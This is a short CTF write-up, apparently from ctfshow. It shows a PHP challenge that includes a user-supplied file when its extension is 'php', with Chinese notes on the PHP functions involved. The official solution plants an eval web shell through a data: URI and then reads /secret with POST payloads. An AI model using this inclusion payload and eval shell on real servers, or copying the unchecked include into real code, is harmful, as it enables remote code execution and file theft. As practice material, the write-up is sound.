ctfshow-warmup
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-06-29 03:16:43
# @Last Modified by: h1xa
# @Last Modified time: 2021-06-30 04:43:37
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['file'])){
$ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
if($ext==='php'){
include $_GET['file'];
}
}
highlight_file() 函数对文件进行语法高亮显示。
语法:highlight_file(filename,return)
参数 | 描述 |
filename | 必需。要进行高亮处理的 PHP 文件的路径。 |
return | 可选。如果设置 true,则本函数返回高亮处理的代码。 |
isset() 函数用于检测变量是否已设置并且非 NULL。
pathinfo() 函数以数组的形式返回文件路径的信息。
语法:pathinfo(path,options)
参数 | 描述 |
path | 必需。规定要检查的路径。 |
process_sections | 可选。规定要返回的数组元素。默认是 all。 可能的值: PATHINFO_DIRNAME - 只返回 dirname PATHINFO_BASENAME - 只返回 basename PATHINFO_EXTENSION - 只返回 extension |
官方wp:
GET提交:
http://0fdf6601-a970-4a27-b5c3-a0146398c985.challenge.ctf.show:8080/
?file=data:text/plain,<?php eval($_POST[1]);?>.php
同时POST提交:
1=print_r(scandir("/"));
最终POST提交时应该是:
1=echo file_get_contents("/secret");